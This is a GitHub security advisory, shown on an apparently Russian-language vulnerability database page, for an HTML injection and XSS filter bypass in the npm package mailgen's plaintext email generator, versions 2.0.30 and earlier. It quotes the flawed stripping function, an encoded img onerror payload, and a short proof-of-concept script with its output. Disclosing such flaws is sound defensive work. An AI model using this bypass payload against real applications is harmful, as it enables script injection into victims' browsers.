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GHSA-xw6r-chmh-vpmj

Опубликовано: 14 окт. 2025
Источник: github
Github: Прошло ревью
CVSS4: 1.3

Описание

Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email) method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Details

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Strip all HTML tags from plaintext output output = output.replace(/<.+?>/g, ''); // Decode HTML entities such as &copy; output = he.decode(output); // All done! return output; };

The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.

A valid payload is: &ltimg src=xyz onerror=alert(1)&gt.

PoC

var Mailgen = require('mailgen'); // Configure mailgen by setting a theme and your product info var mailGenerator = new Mailgen({ theme: 'default', product: { // Appears in header & footer of e-mails name: 'Mailgen', link: 'https://mailgen.js/' // Optional product logo // logo: 'https://mailgen.js/img/logo.png' } }); var email = { body: { name: 'John &ltimg src=x onerror=alert(document.body.innerHTML)&gt Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', // Optional action button color text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; var emailText = mailGenerator.generatePlaintext(email); require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Resulting output file (emailText.html):

Hi John <img src=x onerror=alert(document.body.innerHTML)> Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved.

Impact

Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).

Credits

Edoardo Ottavianelli (@edoardottt)

Пакеты

Наименование

mailgen

npm
Затронутые версииВерсия исправления

<= 2.0.30

2.0.31

EPSS

Процентиль: 31%
0.00115
Низкий

1.3 Low

CVSS4

Дефекты

CWE-79

Связанные уязвимости

nvd
4 месяца назад

mailgen is a Node.js package that generates responsive HTML e-mails for sending transactional mail. Mailgen versions through 2.0.30 contain an HTML injection vulnerability in plaintext emails produced by the generatePlaintext method when user‑generated content is supplied. The function attempts to remove HTML tags, but if tags are provided as encoded HTML entities they are not removed and are later decoded, resulting in active HTML (for example an img tag with an event handler) in the supposed plaintext output. In contexts where the generated plaintext string is subsequently rendered as HTML, this can allow execution of attacker‑controlled JavaScript. Versions 2.0.31 and later contain a fix. No known workarounds exist.

EPSS

Процентиль: 31%
0.00115
Низкий

1.3 Low

CVSS4

Дефекты

CWE-79